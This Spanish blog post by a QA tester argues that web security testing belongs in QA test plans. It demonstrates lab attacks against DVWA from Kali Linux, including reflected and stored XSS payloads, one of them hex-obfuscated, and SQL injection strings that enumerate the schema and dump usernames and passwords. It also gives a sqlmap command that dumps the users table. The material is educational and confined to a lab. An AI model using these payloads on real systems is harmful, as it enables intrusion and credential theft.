Pruebas de Seguridad Web que debe-rían ser incluidas en Test Plan QA

Pruebas de Seguridad Web que deberían ser incluidas en Test Plan QA

Cuando hablamos de seguridad de calidad Web, hablamos de pruebas que aunque son extensamente conocidas en casi ningún sitio las realizan los tester, normalmente se hacen por parte de los pentester, aunque creo deberían estar incluidas en los Test Plan de QA.

Sigue habiendo innumerables webs y cms vulnerables que son víctimas de la piratería. Y si de algo estoy seguro es que ninguna web pública se librará de ser víctima, ya que el 100% de las mismas lo han sido ya en alguna ocasión.

Os mostraré algunos ejemplos sencillos y gráficos. Todos ellos se realizan bajo laboratorio controlado con metasploit2 como víctima y Kali Linux como atacante dentro de la misma red localNunca se deberían hacer fuera de un entorno controlado y sin permiso previo.

Inserción de código

  • Vamos a introducir en el input caracteres raros:
    Pruebas de Seguridad Web que debe-rían ser incluidas en Test Plan QA

    Nota:
    esto nos descubre una posible vulnerabilidad pues parece que el servidor se interpreta como código de la aplicación:
    Pruebas de Seguridad Web que debe-rían ser incluidas en Test Plan QA
  • Esto nos permitiría a priori poder enviar código como en el siguiente ejemplo:
    Pruebas de Seguridad Web que debe-rían ser incluidas en Test Plan QA
    NOTA: además esto mismo lo podríamos realizar con ofuscamiento, con el siguiente script
     
    <script type="text/javascript">document.write(unescape('<a href="#">Pruébame</a>'))</script>
    
    Este nos devolvería el código ofuscado en Hexadecimal, siendo esto el siguiente:
    <script type='text/javascript'>
    document.write(unescape('%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%3E%0A%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%27%3C%61%20%68%72%65%66%3D%22%23%22%3E%50%72%75%E9%62%61%6D%65%3C%2F%61%3E%27%29%29%0A%3C%2F%73%63%72%69%70%74%3E'))
    </script>
    

    El cual se lo podríamos pasar al input directamente y lo interpretaría de igual manera que el anterior.

Pruebas de storage, veamos un ejemplo rápido:

Estas pruebas consisten en hacer que el código sea persistente, de tal modo que si sobre un comentario somos capaces de enviar código que se ejecute, este sera persistente.

Pruebas de Seguridad Web que debe-rían ser incluidas en Test Plan QA

Vamos a introducir lo siguiente:

  • Name: prueba1
  • Message: <script>alert(“!hola¡”)</script>

Pruebas de Seguridad Web que debe-rían ser incluidas en Test Plan QA

Ahora hagamos f5 o cargaremos la página en otro navegador y veremos como se lanza el alert:

Pruebas de Seguridad Web que debe-rían ser incluidas en Test Plan QA

Inyección SQL

  • Dentro del apartado SQLInjection de dvwa, vamos a buscar por el id = 1
    Pruebas de Seguridad Web que debe-rían ser incluidas en Test Plan QA
  • Ahora si queremos buscar el id 1 o todos los que son true haríamos la búsqueda por id 1′ or 1=1#’
    Pruebas de Seguridad Web que debe-rían ser incluidas en Test Plan QA
    NOTA: Esta sería la primera evidencia de que admite injections y por tanto le podríamos tirar sentencias sql:
  • Mostrar usuarios de la tabla users: 1′ union select database(),user()#
    Pruebas de Seguridad Web que debe-rían ser incluidas en Test Plan QA
  • Obtener información del schema dvwa:
    1′ union select table_name,2 from information_schema.tables where table_schema=’dvwa’#
    Pruebas de Seguridad Web que debe-rían ser incluidas en Test Plan QA
  • Ver las columnas de la taba user:
    1′ union select column_name,2 from information_schema.columns where table_name =’users’
    Pruebas de Seguridad Web que debe-rían ser incluidas en Test Plan QA
  • ver user y password: 1′ union select user,password from users #
    Pruebas de Seguridad Web que debe-rían ser incluidas en Test Plan QA

Supera los niveles medio de DVWA en SQL

  • Le pedimos el user id: 1 or 1=1
    Pruebas de Seguridad Web que debe-rían ser incluidas en Test Plan QA

Prueba de concepto con sqlmap:

Sqlmap es una herramienta desarrollada en python para realizar inyección de código sql automáticamente.

Como se usa:
Le pasaremos la ip y el puerto de la web, además el parámetro con el que deberá jugar sqlmap “AQUÍ”, le pondremos un nivel de seguridad medium y dumpearemos la tabla users de la db dvwa.

Ejemplo:

┌──(kali㉿kali)-[~]
└─$  sqlmap -u 'http://192.168.1.46:80/dvwa/vulnerabilities/sqli/?id=AQUI&Submit=Submit' --cookie='PHPSESSID=4547850a8b4af5e3c2904c6d2d844282;security=medium'  --dump -D dvwa -T users

Como cierre quiero dejaros una pregunta ¿Os parece que deberían ser incluidas dentro de los test planing de QA?

Me encantará respondáis via LinkedIn/RRSS. Os leo y comentamos.

 

I love to be chamaleon 😉

 

Naila Ros
Fernando Manrique Villanueva
QA Tester